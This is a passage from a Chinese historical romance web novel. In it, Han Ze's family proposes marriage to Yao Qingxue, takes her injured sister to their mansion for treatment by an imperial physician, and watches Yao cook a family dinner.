客人少上菜快,羊肉汤香味浓郁,姚轻雪喝了一口顿觉浑身舒坦,连吃了两个烧麦才觉得肚子里有了底。 韩泽则皱着眉往外挑羊肉汤里的香菜和葱花。姚轻雪忍不住笑,“韩大人,我羊汤都喝半碗了,你竟然一口没动,在外面跟人吃饭你这样会饿肚子的。”她端过韩泽的碗,把上面漂浮的香菜和葱花扒拉到自己碗里,她就喜欢在羊汤里放很多香菜葱花。 韩泽眉头舒展,接过碗喝了一小口,随即又皱了下眉,姚轻雪知道他老毛病又犯了。“不喜欢汤就吃烧麦吧,羊肉味没有那么重了。” “有茱萸辣油就好了。”韩泽嘀咕。 姚轻雪心想韩泽一定喜欢辣椒,但不知道这个时空哪里有辣椒。 吃完饭,韩泽把人送回葫芦巷,其实他不大放心让她单独待在姚家。前有玉美人后有莺儿,谁也不知道暗处还有什么人盯着姚轻雪。但姚家出了这样的事,他也不能硬把人拽走。 姚轻雪叮嘱马车上的人:“别挑食多吃饭,吃得好身体才恢复得快。” 韩泽哑然失笑,把他当小孩子了?他看着人进了家门,听见屋门的响声才离开。 …… 姚轻雪和爷爷奶奶换着陪了三天才把妹妹接回家。芽芽到家就找小白。小白被人抓走卖了一回,蔫了几天,看到芽芽仿佛又活过来,又舔又蹭,把芽芽逗得咯咯笑。一人一猫窝在床上形影不离,芽芽吃完药睡着后,小白也不离开。 刘氏嘀咕:“芽芽没白疼它。” 他们到家不久,曹叔便来了,他带了不少补品和上好的药材,让姚轻雪有事就去将军府找他们。 曹叔离开后,刘氏拉着孙女的手问:“你和韩大人分不开了?” 姚轻雪想了想然后点头,“奶,别人我瞧不上,我不想委屈自己。”闭着眼嫁人,不喜欢也能过一辈子的事她做不到。 刘氏急了:“韩大人怎么个说法?他是打算明媒正娶?还是让你做妾啊?”她并不是反对孙女和韩泽在一起,而是在乎孙女以什么身份进韩家。 “我没问。”姚轻雪一脸严肃,“虽然没问,但我不做妾,他也不能纳妾。” 刘氏:“……” 刘氏憋了半天才道:“雪儿啊,你这个要求太高了。虽然韩大人对你不错,但你也别得寸进尺啊。”满京城打听打听,哪个有身份地位的人不纳妾?孙女太天真了。 姚轻雪没有多说,他相信韩泽的为人,因为他与这个时代大多数男人不同,她才不可自拔地陷进去。 …… 几日后,芽芽终于能下床走动几步。姚家人都很高兴,芽芽说想吃炸肉,姚轻雪提着篮子准备去买只鸡回来做炸鸡。 刚打开大门,杨婆子“噗通”一声跪到她面前,扯着姚轻雪的袖子不撒手:“我求求你放过我儿子,他去岭南就是死路一条,下辈子做牛做马我也会报答你,我求你放他一条生路吧。” 姚轻雪扯出袖子,还不等她说话刘氏走过来“啪啪”就是两个大嘴巴。“我没去找你算账,你倒是有脸来我家。放他生路?你的好儿子畜生不如,他要杀了我家孩子,他就是杀人犯。” “不是没死、啊!”杨婆子话没说完,胸口就被姚轻雪踢中,惨叫后仰躺在地。 “正因我妹妹好好的,你儿子才是流放。”姚轻雪咬牙切齿道:“不然你以为他能活到现在?我告诉你,你儿子留在葫芦巷我也不会让他好过。” “你怎么这么狠毒。”杨婆子坐在地上又哭又叫,“要不是你家养的猫,兴旺怎会起了心思,是你们姚家害了我儿。姚轻雪你这个毒妇,我儿子要是有个三长两短我要你偿命。” “你要谁偿命?” 杨婆子只顾着哭闹,都不知马车何时停在了姚家门外。对上韩泽冰冷的眼神,杨婆子哭不出来了。 “杀人偿命欠债还钱,杨兴旺杀人未遂,他已供认不讳,国法难容。你身为其母教子无方,不找自身原因,却来苦主面前大闹,按律当笞三十,你是想挨板子吗?” 杨婆子吓得不轻,爬起来就往家跑。 韩夫人从马车上下来,“愚民不善,邻里也跟着遭殃。” 姚轻雪顾不上生气,放下篮子过来行礼:“夫人好!” “不必多礼!”韩夫人拉着姚轻雪的手道:“比上次见清瘦了许多,这一趟严州之行你受苦了。” 姚轻雪纳闷,上次见她还是爱答不理,韩夫人对她的态度转变怎么这么大?【你现在阅读的是 】 60-70 第61章 第61章“你哥对我姐没安好心。…… 姚轻雪看向韩泽。韩大人对她微微一笑,然后给韩夫人介绍姚福和刘氏。 韩夫人颔首:“姚叔、婶子!” 这称呼让姚福和刘氏都懵了,他们啥身份啊,让将军夫人管她们叫叔、婶?还不等他俩从震惊中缓过来,韩莺走过来行礼。“爷爷奶奶好!我叫韩莺,是韩泽的妹妹,叫我莺儿就行。” 两方见过礼,姚轻雪往远处看了一眼。刚刚杨婆子哭闹把葫芦巷的住户都惊动了,开始大家站在自家大门口看杨婆子的热闹,现在聚在一起嘀咕姚家的贵客是谁?这么气派。 姚轻雪没有理会,她把韩夫人请进屋内,姚福去灶房烧水沏茶。韩夫人态度谦和,一点没有端将军夫人的架子,刘氏受宠若惊,问什么她就一板一眼地答什么。 韩夫人先问姚家的情况、芽芽的伤势,然后把姚轻雪一顿很夸。刘氏心里高兴,渐渐忘了害怕,便与韩夫人聊起家常。 姚轻雪趁她们不注意,嘴唇翕动无声地问韩泽怎么回事?韩泽指指她又指指自己,意思是我坦白了,母亲专程过来问你家的意思。韩大人手势中的信息量太大,姚轻雪压根没懂,她也悄悄用手比划起来。 韩莺看他俩都着急,见姚轻雪一脸茫然便替他哥解释:“我哥要娶你,我爹娘同意了,今日我娘来跟你家提亲。” 刘氏和韩夫人的谈话戛然而止,端着茶水进来的姚福也楞在门口。姚轻雪也是没有料到韩泽动作这么快。 “不懂规矩。”韩夫人嗔了女儿一眼,“嫁娶要经过三媒六聘方可成礼,哪是轻飘飘几句话就能定下的。” 韩夫人转头对刘氏道:“轻雪能干有主见,第一次见时我便喜欢她。她与我儿韩泽患难与共,我和他爹都希望两个孩子结百年之好,年前能成亲最好,我今日来就是表个态,叔和婶子若是没有意见,择日韩家便派媒人登门。” 姚轻雪心想第一次见面可没瞧出您有多喜欢我,只是她不明白韩夫人为何突然改变这么大?原先以为她与韩泽的阻碍一定是韩夫人,没想到这么顺利就过了她那关。 她哪里知道,韩泽跟父母说在严州府若不是姚轻雪救了他,回京的该是他的尸体。同时他表明想尽早完婚。韩夫人吓得半死,对姚轻雪感激不尽,她是韩家的恩人,娶进门供着都行,何况儿子还是非她不娶。 “这、是不是太快了?”姚福有些无措。 韩夫人:“按理说成亲至少得留出半年时间准备,但两个孩子年纪都不小了,我和他父亲的意思是宜早不宜晚。不过这也只是我们的想法,您二位若有什么难处尽管说出来,我们一起商议。” 难处倒是没有,就是一想到孙女两个月不到就嫁人离开家,姚福心里不是滋味。刘氏也没好到哪里去。以前他们认为即便孙女嫁人,也会经常见面,但若是嫁进将军府,孙女就不是他们孙女了,想见面都难。 但也不能因为这个,就拦着孙女出嫁,姚福和刘氏都去看大孙女。姚轻雪也很为难,她想跟他在一起不假,但现在家里的情况她怎么能离开。“我妹妹刚刚受了重伤、” “芽芽受伤我知道,润青跟我们说了。”韩夫人打断她,“我这次过来也是为了你妹妹。” “为了芽芽?”姚轻雪不解,“夫人此话何意?” 韩泽:“许郎中说芽芽脑中还有淤血,父亲听说后进宫求陛下让何御医给芽芽看伤,何御医在这方面无人能及,曾打开人的头颅将病患治好。让他给芽芽诊治调理,必定不会留下隐患。” “芽芽那孩子太让人心疼了。”韩夫人道,“我的意思是把芽芽接到府上住几日,家 里药材补品都不缺,再有轻雪照顾,孩子伤好得快,大家也都安心。“一个也是照顾,两个也是照顾,顺便把她儿子一起照顾了,省得他总想回太平巷住。 能请动御医不容易。姚轻雪想了一下便答应下来,以她和韩泽的关系,推拒就是矫情了。为了芽芽,别说她和韩泽有关系,即便没有关系,如果有必要她也会厚着脸皮请他帮忙。 “我就喜欢轻雪的直率干脆。”韩夫人笑道,“你不知道,润青这几日食不下咽,总想过来,是我和他爹硬拦着他才没来成。轻雪你也别怪我,润青这次伤得不轻,身子亏虚严重,御医说得好好养着,我这才拦着没让他出门。” 韩泽板着脸道:“母亲,没那么严重,我也没有那么弱。” “夫人您做的对。”姚轻雪看了韩泽一眼,“韩大人有时对自己过分高估,可不能由着他的性子来。” “是吧,他就爱逞强。”韩夫人笑眯眯道,“别叫夫人了,像外人,叫伯母。” 姚轻雪从善如流:“伯母!” 韩大人看着母亲和姚轻雪很是无语,怎么这么快就联合起来对付他了? 韩家请御医给芽芽诊治,姚福和刘氏心中的那点不舒服很快散了。最后两方达成一致,等芽芽伤势好转,就给韩泽和姚轻雪定亲。在这之前两家都准备起来。 现在需要芽芽去韩家暂住几日,姚轻雪回屋收拾衣服,韩莺跟过来。她看着床上睡觉的芽芽和小白,小声问:“你妹妹就是为了这只猫被人打了?” “嗯。”姚轻雪轻手轻脚收拾东西。 “姚轻雪,不是我说你,你们家养这样一只猫,无异于孩童抱着金砖走闹市,不出事才怪。”没人时韩莺对姚轻雪又恢复了没大没小没规没矩的态度。 姚轻雪心想那能怎么办?小白是芽芽母亲留下来的,流浪了那么久找来他们家,这或许是巧合,她更愿意相信是冥冥中的注定。 听到说话声芽芽迷迷糊糊醒来,见姐姐又在收拾包裹,小姑娘眼眶一热,委屈道:“姐,你又要走?” “别哭别哭。”韩莺有些慌,人家妹妹就这么一个姐,这个年纪的孩子跟姚福和刘氏肯定不如跟姐姐亲,他哥却想方设法要把人家姐姐娶走,她都觉得小姑娘可怜。 姚轻雪过来给妹妹擦掉眼泪,“韩大人的父亲请了很厉害的郎中,姐姐带你去他们家住几日。这位是韩大人的妹妹,她和韩夫人特意过来接我们。” 芽芽看看韩莺,嘟着嘴小声道:“不想去。” “为什么不想去?去我家玩不好吗?”韩莺不解。小孩子不是都喜欢去别人家玩吗?娇娇若是有人带她走她可高兴了。 “哼!”芽芽小小地哼了声。 韩莺:“……” 韩莺眼珠子一转,“你是不是怕生?所以才不想去我家?哎呀,没想到芽芽是胆小鬼,你姐姐说你很勇敢,我看不见得。”韩娇她看着长大的,小姑娘的心思不好懂但很好问呀。 “才不是。”芽芽急了。 “那是为什么?”韩莺追问。 芽芽:“哼!” 韩莺:“……你就是怕生,胆小鬼,哼。” 姚轻雪摇头失笑,一个比一个幼稚,她也不管继续收拾东西。天气一天比一天冷。薄衣、厚衣都要带几件,免得到时不够穿。 韩莺逗芽芽,终于把小姑娘逗急了,在韩莺又一次说她是胆小鬼时,芽芽脱口而出:“你哥对我姐没安好心。” 姚轻雪:“……” 韩莺:“……哈哈……你说的对,我大哥就是对你姐没安好心。我跟你说这两天见不到你姐,他都吃不下饭,偏说家里厨子不行,绞尽脑汁想把你姐弄到我们家去,刚好有你这位小伤患,他就去求我父亲……” 姚轻雪再次无语,韩莺这个小喇叭藏不住事。还有,韩泽任性也就罢了,韩将军竟然也配合,这一家人挺有意思。姚轻雪嘴角止不住地上翘。 系好包裹,姚轻雪走到床边握住妹妹的手:“宫中御医是给皇上看病的,一般人可请不来,韩大人那么大的官都不行,只有韩将军那种身份才办得到。韩大人也希望芽芽早日好起来才去求韩将军,我们不能辜负他的好意。” “对对。”韩莺点头,心里想的却是你早点好,我哥和你姐才能早点成亲。能年前就不拖到年后,他哥难得着急娶亲,他家里全力配合。房间都提早给你们姐俩收拾好了。要不是你爷爷奶奶不愿意,连他们都打包到将军府。 在姚轻雪的劝解下,芽芽终于对去韩家没那么抵触了。姚轻雪给妹妹穿上衣服,戴上帽子护住头,然后叫韩泽进来抱芽芽上马车。 韩家总共来了两辆马车,姚轻雪和韩泽还有芽芽一辆,韩莺也想挤过去,被韩夫人拦住。“芽芽躺着,哪里还有你的位置?”你就别去碍眼了。韩莺撇撇嘴,上了另一辆车。 走之前韩夫人对姚福和刘氏道,“孩子们的大事,今日本该我们夫妻同来拜访,但今日润青他爹有事不能过来,还望姚叔和婶子不要介意。等过几天芽芽伤势好转,让润青过来接你们去家里坐坐,今后我们就是一家人了,合该常走动走动。” 姚福和刘氏乐呵呵应下来。以前他们不知道韩家是什么样的人家,总担心孙女进了韩家的门便入了苦海,会被婆家人欺负。 今日韩夫人给足了他们面子,韩莺也是乖巧懂事,看样子与雪儿也很亲近。身处高位对他们一介白身礼遇有加,韩家门风该是不差,他们的担心或许是多余的。 韩泽扶母亲先上了马车,正准备扶姚轻雪时,就听巷子口传来一声:“姚姑娘!” 曲长平小跑着过来。 第62章 第62章韩家 曲长平好久没看见姚轻雪了,人走了多久他就担心了多久,“姚姑娘,你何时回来的?” “回来有几日了,你今日休沐?” “没有,我跟先生请了假。”听说姚轻雪回来,他一天都不想等就跑过来见人。曲长平整个人都明媚起来,满眼都是喜欢一个人的样子。 韩泽看他一眼,只一眼便断定这小子对他的雪儿心思不纯,韩大人转身给姚轻雪整理披风的领子,手指状似无意地碰了下姚轻雪的脸颊。 曲长平愣住,后知后觉发现姚轻雪身边有另一个男人、姚家门口停了两辆马车。 “长平!过来。”刘氏招招手,曲长平狐疑地走到刘氏跟前,“奶奶。” 刘氏拉着曲长平的手,对姚轻雪挥手,“走吧,我和长平有话说。” “我、”曲长平还想说什么,被刘氏在手背上不轻不重地拍了一下。少年立马闭了嘴。 “爷爷奶奶,我走了,曲童生下次聊。”姚轻雪撑着韩泽的手上了马车。 等马车走出巷子,刘氏才放开曲长平的手。“刚刚那位是大理寺少卿韩泽韩大人,雪儿正和他议亲,等定了日子叫你爹娘过来喝喜酒。” 刘氏的话好比晴天霹雳,曲长平楞在那,脑子里只有一个想法:他喜欢的姑娘要嫁给别人了。 “长平啊!”刘氏诚恳道,“雪儿一直把你当弟弟,她有了好的归宿,你要替她高兴。你年纪还小,该把心思用在读书上,别辜负了你爹娘的苦心。” 曲长平回神,胡乱地点下头,“奶奶,我还有事先走了。”曲长平大步往前走,他越走越快,最后跑着离开了葫芦巷。 刘氏叹口气关上大门,孙女离京这段日子,这孩子来了家里两次,她再迟钝也觉察出不对了。放在以前她会很高兴,曲长平除了年纪小样样都不错,又很会读书将来说不定有大造化。现在只能说没有缘分。 葫芦巷到将军府算不得近,马车走了半个时辰才到。姚轻雪下车就看见眼前站了好些人,大家都盯着她看。为首的是一位头发花白的老妇人,扶着老太太的是位美妇人。 韩泽一手抱着芽芽,一手放在姚轻雪的背上。 “是祖母和芸姨娘。” 韩夫人拉着姚轻雪的手走到韩老夫人面前。“这是祖母!” “祖母好!”姚轻雪行礼问好。 “好!路上累了吧?你爷爷奶奶怎么没过来?”韩老夫人慈眉善目,对姚轻雪说话也很和善。 姚轻雪小心回话。之后她又认识了芸姨娘,韩泽三弟韩漳,老二韩浩正在上直是以没在此列。韩夫人把家里最小的一个拉过来,“这是娇娇,比芽芽大两岁,贪玩得紧,等芽芽身子好了,她俩可以一起玩。” “姚姐姐好!”韩娇乖乖问好,“姚姐姐你好漂亮哦。” 姚轻雪一愣,随即一笑,韩娇可比韩莺招人喜欢。大家都被韩娇的话逗笑了。 韩娇看着裹得严严实实的芽芽:“这位就是那个受伤的妹妹吗?你好呀!我叫韩娇。” 芽芽从韩泽肩上抬起头,怯生生地看着韩娇。“你、你好!我叫芽芽。” “咦?这是你的猫吗?”韩娇看见芽芽怀里竟然有只猫,瞬间就被吸引了。 离开姚家时,韩泽抱起芽芽,小白“喵喵”叫个不停,声音很是凄厉,跟到院外还不停歇。没办法姚轻雪只好把它抱上马车。 “它叫小白。”芽芽腼腆地回道。 韩老夫人笑呵呵道:“外面冷,别冻着孩子,进屋说话吧。” 一群人回屋落座,韩老夫人问姚轻雪姚福和刘氏的身体,聊着聊着又说起姚家卤味。韩娇插话:“姚姐姐家的卤味好好吃,可惜都不做了。”二哥买回来过两次,她每次都吃好多。 姚轻雪笑道:“我爷爷奶奶年岁大了,天气越来越冷我怕他们身体受不住才停了摊子。二小姐想吃,改日我做便是。” “谢谢姚姐姐!”韩娇笑眯眯地道谢,“姚姐姐你真好!” 芸姨娘嗔怪道:“姚姐姐是客人,哪有让客人给你做吃食的道理,不懂规矩。”她对姚轻雪道,“别听她的,家里属她最小,都宠着她把她都宠坏了。” 聊了会儿,韩老夫人见芽芽打哈气,便让韩泽领她们姐妹去休息。 姚轻雪告别众人随韩泽去住处。韩家可不像他们家就一个院子,出了这个门走几步就进另一个门。韩家每个人都有自己的院子。 路上,韩泽道:“祖母多年不曾出来见客,也很少走出她的院子,今日得知你过来,她特地出来看你。” 姚轻雪嘴角噙着笑意,韩家给了她足够的尊重,丝毫没有让她这个贫家女有任何不舒服。从韩老夫人和众人的态度上看,她嫁给韩泽似乎没有任何阻碍。 一切太顺利了,顺利的让她觉得不真实。原本她都做好了被韩母或是韩家任何人刁难的准备,结果人人对她都很好,长辈慈爱,弟妹恭敬。 “祖母可开心了呢,一直问你们来了没有?”韩娇走在前面,将他们领去一处院子。“就是这里了,母亲说让姚姐姐和芽芽妹妹跟大姐做邻居。” 姚轻雪很意外,没想到竟然给她和妹妹单独安排了院子。“伯母费心了。” 韩泽:“其实我是想让你们住到我旁边的,母亲说不合礼数,也怕有不好的传言于你不妥,这才让你们住到莺儿隔壁。这里也好,就是离东院远了些,有事就让春佟秋月去唤我,或去隔壁找韩莺。” 韩莺点头:“这么近,你在院里喊一声我就听到了。” 春佟和秋月是韩夫人安排照顾两姐妹的侍女。此时两人正在院门口站着,见人来了二人行礼。“姚姑娘好!今后由我们照顾两位姑娘,有事尽管吩咐。” “多谢两位姑娘!”姚轻雪颔首道谢。 房门打开,姚轻雪便觉得一股热流扑面而来。春佟道:“芽芽小姐受了伤,夫人说不能受寒,走之前便让我们提前烧炭将屋子烧暖。” 姚轻雪感激韩夫人的细心体贴,韩泽将芽芽小心地放到床上。姚轻雪给妹妹脱了外衣、盖上锦被。小白旁若无人地跳到床上趴在芽芽脑袋旁边。姚轻雪把它抓过来用帕子擦了擦脚,再放回芽芽身旁。 刚到陌生环境芽芽有些害怕,困得眼皮子打架也不肯闭眼。姚轻雪坐到床边轻轻拍打棉被。“睡吧,姐陪你。”芽芽的药里有安眠成分,她现在一天大部分时间都是在睡觉。 芽芽牵着姐姐的手慢慢闭上眼睛,很快就起了轻微的鼾声。等妹妹睡实了,姚轻雪抽出手走到外间。 韩泽:“去我的院子坐坐。” 姚轻雪看看里间,秋月忙道:“姑娘放心,这里有我们看着呢,芽芽小姐醒了,我们就去唤你。” “也好,有劳两位姑娘了。”姚轻雪与韩泽走出院子。 韩娇也想跟去,被韩莺拉到自己的院中。今日回来的路上,母亲给她好一顿训,让她学会看场合,不要往小情侣身边凑,碍眼。家里还有个比她更碍眼的。 姚轻雪看着韩莺把妹妹扯走,嘴角不由露出笑来。韩家家风好,嫡子和庶子、嫡女和庶女关系都不差。刚刚交谈时芸姨娘言谈间并无妾室的谨小慎微,还与韩夫人聊得上,看得出韩家妻与妾之间也比较融洽。 “走了。”没了碍眼的,韩泽总算可以牵手了,他领着人往自己的院子走去。 路上经过光秃秃的花园和养着锦鲤的池子。姚轻雪蹲在池边逗大胖鲤鱼。韩泽笑道:“小白见了一定喜欢。” “不一定。”姚轻雪拿出帕子擦擦手,“别看它是只猫,娇气的很,比人还挑食。”生肉不吃、活鱼不碰,得有人给它弄好了放在盘子里它才肯吃。这样看小白和某人很像。 “看我做什么?”韩泽不明白姚轻雪为何突然盯着他看。 “没什么。”姚轻雪摇头,继续往前走,“看,那里还挂着柿子。”现在还长在树上的柿子,一定很甜。 韩泽顺着她手指的方向看去,“留给鸟的。”冬天鸟找不到吃食就会啄树上剩下的果子。韩家宅院内的果树,每年最顶端的果子都不会往下摘。“想吃?我给你摘下来。” 姚轻雪摇头,“不想,就是觉得挺好看的。”她怎么好意思跟鸟抢食呢。 边走韩泽边给她介绍宅子的结构,西院到东院这么点距离,两人慢悠悠走了一盏茶的时间。韩泽住的东院很大,有刚刚她去的院子三倍大。姚轻雪调侃:“未来家主的待遇果然不一样。” 韩泽:“这也是你今后要住的地方。” “不错,这才是未来家主和夫人该有的待遇。”姚轻雪变脸速度极快。 韩泽捏了捏她的手:“太空了,你得抓紧给这院子添丁增口。” 姚轻雪一时间没明白添丁增口是什么意思,待反应归来她右手一抬、食指一翘戳着韩大人的心口道。“韩大人,无媒苟合、白日宣淫是要被浸猪笼的,你这个想法很危险。” “我是那种人吗?”韩泽抓住在自己心口作乱的手指,“你早晚得嫁进来,我是提前给你提个醒。”他牵着人走进屋内。 这间房比太平巷韩泽的房间大很多,屋内陈设也很齐全。墙上挂了几幅字,唯有书案后的墙上挂了一幅画。“你画的?” “不是,朋友送的。”韩泽摇头,“那人你见过,记得上次买牛肉时见过的杜淳和吗?” “原来是他。”不是韩泽画的,姚轻雪便对画失了兴趣。转身想去看别的陈设。 韩泽把人拉过来,指着画问:“你就没看出点什么?” 姚轻雪看看画:“你那朋友很有名?这画很值钱?” “你、可真是。”韩泽无语,“再仔细看。” 姚轻雪眨眨眼,“不 就是大雪压着青松吗?有什么好看的。多看两眼它还能开出花来?” 看来她是真不懂欣赏,韩泽无奈道:“这是对我们两个人的寓意。”他屈起手指在姚轻雪头上敲了一下,“这是杜淳和专门为我们两个画的,我一眼就瞧出来了,你怎么半点感悟都没有。” 姚轻雪揉揉额头,经过韩泽这么一说,好像觉出这副画有那么点意思。她是雪,韩泽的字叫润青,雪压青松似乎还蛮贴切的。 不过她觉得就很牵强,世上雪与松的画多了去了,难道每一幅都是对他们的寓意?再说韩泽的“润青”还可以说是青葱呢,难道画一副雪压大葱,也是对他们的寓意? 姚轻雪觉得她要是把心里话说出来,韩泽还得敲她。既然他觉得这幅画的寓意好,那边让他独自美好吧。反正她对画一窍不通,只会用值钱与不值钱去判定。 “不错,你朋友这画寓意非常棒,留它做传家宝吧。”姚轻雪正看画,就听韩泽突然问:“曲长平是什么人?” “曲老爹的儿子啊?还能是什么人。”姚轻雪不解,“你问这个干嘛?” “你和他认识多久了?” “也没有很久,大概是张茂才将我爷爷打伤前后,怎么了?问他干嘛?曲长平犯了什么事?”姚轻雪看韩泽,不怪她紧张,韩泽在大理寺做事,本职就是抓人,一个人被他追着问可不是什么好事。 “你这么紧张他做什么?”韩泽不满道,“你们平日来往很多?” “不多呀。” “不多?”韩泽不信,“不多你回京他为何跑去看你?” 姚轻雪想了想道:“来往不多但相处还不错,上次去桃儿街是他给我壮胆儿,我说过要请他吃饭来着,过些日子得空,我得把这顿饭补上。” 韩泽:“欠了人情应该早点还,改日我同你一起请。” “我跟他有交情,你跟着凑什么热闹。那孩子很单纯的,你去他会不自在。”姚轻雪是非常有诚意想感谢曲长平,可不想因为韩泽在而坏了气氛。韩大人自带拒人千里的气场,熟了以后才会发现他内心的柔软。 “单纯?”韩泽嗤笑,扯着姚轻雪脸蛋警告,“是男人就都不单纯,今后任何事都要跟我说,不准找别的男人帮忙,记住了吗?” “你不会吃醋了吧?”姚轻雪瞪大了眼睛,终于察觉韩大人为何追着曲长平问个不停了。 姚轻雪乐不可支,韩大人也会吃醋呀,感觉好新鲜,不过这事得解释清楚。“你想多了,曲长平心地善良,他很同情桃儿街的孩子们,用自己抄书赚来的银子给乞儿们买吃食。他真的很好我才与他来往,况且他要考科举,不会有旁的心思。你把心放进肚子里吧,韩大人。” 韩泽暗暗叹气,他的雪儿某些时候很迟钝。算了,不知道更好,今日那曲长平该是知道雪儿要与他定亲,想必会知难而退。毛孩子一个对他构不成威胁,他也不必放在心上。 这时外面有人敲门,随后一年长的婆子端着糕点和茶水进来。 韩泽:“李嬷嬷辛苦了。” “少爷和姑娘慢用。”李嬷嬷放下东西退出房间。 姚轻雪拿起一块山药糕放进嘴里,“韩莺和韩娇身边都是侍女,怎么你这里是嬷嬷?是不是你脾气差,丫鬟都不爱伺候你啊?” “嬷嬷做事稳妥。”韩泽不欲多说。以前他院子里也是丫鬟,后来有人试图勾引他,就换成了年岁较大的李嬷嬷,除此之外便是曹叔。 吃了会糕点,姚轻雪拍了拍手上的残渣,“厨房在哪里?”芽芽想吃炸肉,在家没做成,在这里做也是一样。 “我带你去。”韩大人几天没吃她做的饭,也是想得很。“打算做什么?” 第63章 第63章下厨 厨房里的人看见韩泽,赶紧放下手里的活过来行礼。 韩泽指着姚轻雪道:“这位是姚姑娘,她要做几道膳食。” 众人心下了然,他们早就听说大公子身边的厨娘厉害,所做膳食非常得大公子喜欢。尤其是刘婆子和孙婆子见过姚轻雪,也吃过她做的东西,对她有几分尊重。 “少爷放心,姚姑娘要做什么,我们定当满足。”孙婆子笑着道,“姚姑娘,可还记得老奴?” 上次韩莺为了吃肉脯,专程带俩婆子去太平巷剁肉。两位膀大腰圆、力气甚大的婆子姚轻雪都有印象。 “自然记得。”姚轻雪微微颔首,“孙嬷嬷、刘嬷嬷!好久不见。” “姑娘想做什么?今日的食材都在这里。”刘婆子引人去厨房的一角,那里堆放着各种新鲜蔬菜和肉类,水盆里还有活蹦乱跳的河虾。“菜是庄子上送来的,暖棚里养着的,肉是今早街市上买的,您瞧瞧若是缺什么,老奴这就去买。” 姚轻雪没看见有鸡,倒是有块里脊肉,做炸肉也是一样的,便道:“够了。” 韩泽问:“有鸡吗?”刚刚雪儿问他要鸡来着。 刘婆子忙道:“有的,在屋后养着。要老母鸡还是小嫩鸡?”老母鸡养了三年以上,炖汤补身子最好。小嫩鸡是今年春天孵出来养到现在,肉质嫩,就是个头不大。 韩泽看向姚轻雪,后者对刘婆子道:“麻烦刘嬷嬷挑一只个头大的小嫩鸡。” “好,老奴这就去。”刘婆子出门抓鸡去了。 姚轻雪打量食材,问韩泽他爹娘还有韩老夫人的喜好。她既然进了厨房,就不能光做芽芽和韩泽的吃食,索性就做一桌。 韩泽细数家中每个人的喜好。韩将军喜欢吃肉,不限种类是肉就成。韩老夫人和韩夫人饮食清淡,食素多一些,至于韩漳和韩莺等人,只要好吃就不挑。 听韩泽说完,姚轻雪心里有了数,她对韩家的厨子道:“晚膳我来安排可好?” 大公子领过来的,李大厨哪里敢说不好,“姑娘尽管安排,我给您打下手。”其他人也纷纷附和,“要做什么您说就行,我们来处理。” 大家这么配合姚轻雪有些意外,一般厨子很介意旁人进入自己的地盘,她想或许是因为韩泽在的缘故吧。姚轻雪不知道的是孙婆子和刘婆子,还有韩家车夫把姚轻雪夸出花来,厨房这些人虽然没见过大公子的厨娘,但都知道她人美心善厨艺好,是个顶好的姑娘。 “好,有劳各位了。”要做的菜不少,她一个人忙不过来,有人帮忙姚轻雪便不客气,指使李大厨把里脊肉切成铜板厚的肉片,让孙婆子剁肉馅。她刚拿起莲藕便有丫鬟接过去问她怎么处理。之后她点一样食材便有人接过去,完全不用她动手。 这边刚安排好,刘婆子提着一只白嫩的鸡回到厨房。好快,姚轻雪以为刘婆子会拎进来一只带毛的鸡,没想到这么短时间她把鸡毛都拔了,想来是外面有灶台。 旁的事都有人做了,姚轻雪便接过身子还热乎的白条鸡剥|皮、肢|解,没多大会儿便将整只鸡骨肉分离。其他人忙着手里的活,偶尔往这边瞟几眼,都暗暗佩服,这姑娘有真本事,绝对不是靠美色迷惑了大公子。 韩泽站一旁看她切肉,姚轻雪拿起菜刀后就很专注,眼里只有案板上的肉,都忘了韩泽的存在。很快一只鸡的鸡肉被她切成均匀的小块。她手起刀落把鸡骨架剁成几段,和几段鸡翅膀一起腌制,打算都炸了。 干完手里的活,姚轻雪抬头见韩泽还在这儿,她手一指灶台,“生火去。” 厨房里的人手下一顿,都用不可置信的眼神看向姚轻雪。其实说完姚轻雪就后悔了,她刚刚专心弄鸡肉,看见人便下意识地指使起来,完全忘了这是在韩家。 就在大家都以为韩泽会发火时,韩大人点了下头,走到灶膛前搬过小板凳坐下,然后往灶台里添柴、点火。 一众仆人的下巴差点被惊掉,以往大公子吃口饭都难,现在他竟然烧火?可真是一物降一物啊,万万想不到有一日 大公子会被一个厨娘降服。大家的眼神在韩泽和姚轻雪身上来回转。 姚轻雪脸上有些热,但她也不好收回说出去的话,她今后是这家里的主人之一,可不能出尔反尔,便没去管韩泽。姚轻雪要来山药淀粉,接下来她要炸的东西很多,山药淀粉、面粉和鸡蛋、咸蛋要用的量不少。 “哥,你怎么在这?”一脚跨过门槛的韩莺眼睛瞪得老大,“你、你烧火?” 韩泽没好气道:“大惊小怪,烧火怎么了。” “不是啊,你怎么能做这种事呢。”韩莺提着裙摆走进来,“是不是你指使我哥?”韩莺一下就找到罪魁祸首。 “没有啊,你哥自己要帮忙的。”姚轻雪装无辜。 “我才不信,一定是你,你就爱指使人……”韩莺围着姚轻雪转来转去,姚轻雪走到哪儿她跟到哪儿。 姚轻雪一回身差点撞到她:“麻烦别在我眼前晃了行吗?” 韩莺不服:“为什么?这是我家厨房,我爱来就来,哼。” “要杀我和你哥的人叫莺儿,看见你我就想起她,没事赶紧走,不然一会儿不给你饭吃。” “这跟我有什么关系?”韩莺觉得姚轻雪简直不可理喻,“你难道还想让我改名字?” 姚轻雪抓了山药淀粉放进肉里:“那倒不用,现在别在我眼前晃就成了。”叽叽喳喳说个不停,吵得她无法专心做菜。 “哥,你不管管她?”韩莺愤愤地看向韩泽。 韩大人两手一摊,表示自己无能为力。韩莺跺跺脚转身离去。 姚轻雪来到灶台前问韩泽:“那个莺儿和阚永明如何处置了?”她想知道那几人的下场。 “全杀了,陛下没有给他们任何转圜余地。”有人试图替阚永明求情,陛下震怒,当日便下令将阚永明等砍头。至于莺儿,她知道的事情有限,那批火器的下落她也不知情,留着没什么价值。 杀了好,那些人活一天都是浪费粮食。姚轻雪心情不错,“你想吃什么?” “茱萸,我好久没吃饱饭了。”韩泽语气里透着委屈。御医叮嘱他不准食辛辣,这么久他一顿可口的饭菜都没吃上。 “那肯定不行。”姚轻雪铁石心肠、不为所动。“做什么你吃什么吧。” “那你还问。”韩泽嘀咕。 羊肉煲已经放火上炖着了,姚轻雪开始炸鸡,她炸出一块韩泽放嘴里一块,炸了一会儿盆里愣是空的。“少吃点,不然等会儿该吃不下了,后面还有菜你没吃过呢。”韩泽这才停了手。 饭做到一半,春佟和韩娇来了。春佟:“姚姑娘,芽芽醒了正找你呢。” 姚轻雪:“告诉芽芽我正在给她做炸肉,让她耐心等着。” 